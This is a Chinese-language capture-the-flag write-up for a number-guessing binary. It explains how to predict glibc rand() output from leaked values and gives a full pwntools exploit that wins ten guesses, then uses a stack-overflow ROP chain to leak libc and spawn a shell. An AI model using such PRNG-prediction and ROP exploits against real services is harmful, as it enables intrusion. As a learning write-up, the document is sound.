ELF 64,打开了/dev/urandom读取随机数播种

连续猜对十次有栈溢出,猜不对则告诉答案

在libc中的srand和rand函数
srand函数。kc=31。输入seed后用seed初始化一个32大小的state数组
- state[i] = (16807 * state[i - 1]) % 2147483647;

state生成结束后kc*=10,执行310次_random_r函数

这一坨东西又长又臭看佬总结的把

YX-hueimie佬代码
#include <stdio.h>
#define seed 1
void main() {
int r[500];
int i;
r[0] = seed;
for (i = 1; i < 31; i++) {
r[i] = (16807LL * r[i - 1]) % 2147483647;
if (r[i] < 0) {
r[i] += 2147483647;
}
}
for (i = 31; i < 34; i++) {
r[i] = r[i - 31];
}
for (i = 34; i < 344; i++) {
r[i] = r[i - 31] + r[i - 3];
}
for (i = 344; i < 380; i++) {
r[i] = r[i - 31] + r[i - 3];
printf("r[%d]%d\n", i - 344, (unsigned int)r[i] >> 1);
}
}
可以看到rand函数只是输出srand用seed生成的随机数并且在得到32个随机数后r[i] = r[i - 31] + r[i - 3];就变成了r[i+32] = r[i] + r[i +28];可以预测后面的随机数用这个方法连续猜对10个数后打栈溢出ROP即可
完整exp
from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import ctypes
import os,base64
from LibcSearcher import *
filename="./service1"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=0
if debug:
p=process(filename)
#gdb.attach(p, "b *$rebase(0x1444)")
else:
p=remote("node5.anna.nssctf.cn" , 27459)
libc = ELF("./libc-2.31.so")
ok=0
i=0
num = []
for x in range(32):
#sleep(0.5)
p.sendline(b"1")
p.recvuntil(b"No, the correct number is: ")
num.append(int(p.recv(20).decode().strip()))
print(num)
num0=(num[30]-num[27])%0x80000000
while True:
#sleep(1)
#sleep(1)
a=(num[1+i]+num[29+i])%0x80000000
p.sendline(str(a).encode())
rec=p.recv(7).decode()
print("rec="+rec)
if "Bingo." in rec:
p.recvline()
num.append(a)
ok+=1
else:
p.recvuntil(b"number is: ")
num.append(int(p.recv().decode().strip()))
ok=0
if ok==10:
break
i += 1
pop_rdi=0x0000000000400a93
pop_rsi_r15=0x0000000000400a91
p.recvuntil(b"Bingo. leave ur name to us. plz")
p.sendline(p32(0)+p64(num0)+b"a"*0x20+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x400867))
puts_got=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts_got))
libc=LibcSearcher("puts",puts_got)
base=puts_got-libc.dump("puts")
system=libc.dump("system")+base
binsh=base+libc.dump("str_bin_sh")
ok=0
i=0
num = []
for x in range(32):
#sleep(0.5)
p.sendline(b"1")
p.recvuntil(b"No, the correct number is: ")
num.append(int(p.recv(20).decode().strip()))
print(num)
num0=(num[30]-num[27])%0x80000000
while True:
#sleep(1)
#sleep(0.5)
a=(num[1+i]+num[29+i])%0x80000000
p.sendline(str(a).encode())
rec=p.recv(7).decode()
print("rec="+rec)
if "Bingo." in rec:
p.recvline()
num.append(a)
ok+=1
else:
p.recvuntil(b"number is: ")
num.append(int(p.recv().decode().strip()))
ok=0
if ok==10:
break
i += 1
p.recvuntil(b"Bingo. leave ur name to us. plz")
p.sendline(p32(0)+p64(num0)+b"a"*0x20+p64(0x400A27)+p64(pop_rdi)+p64(binsh)+p64(system))
p.interactive()
Comments NOTHING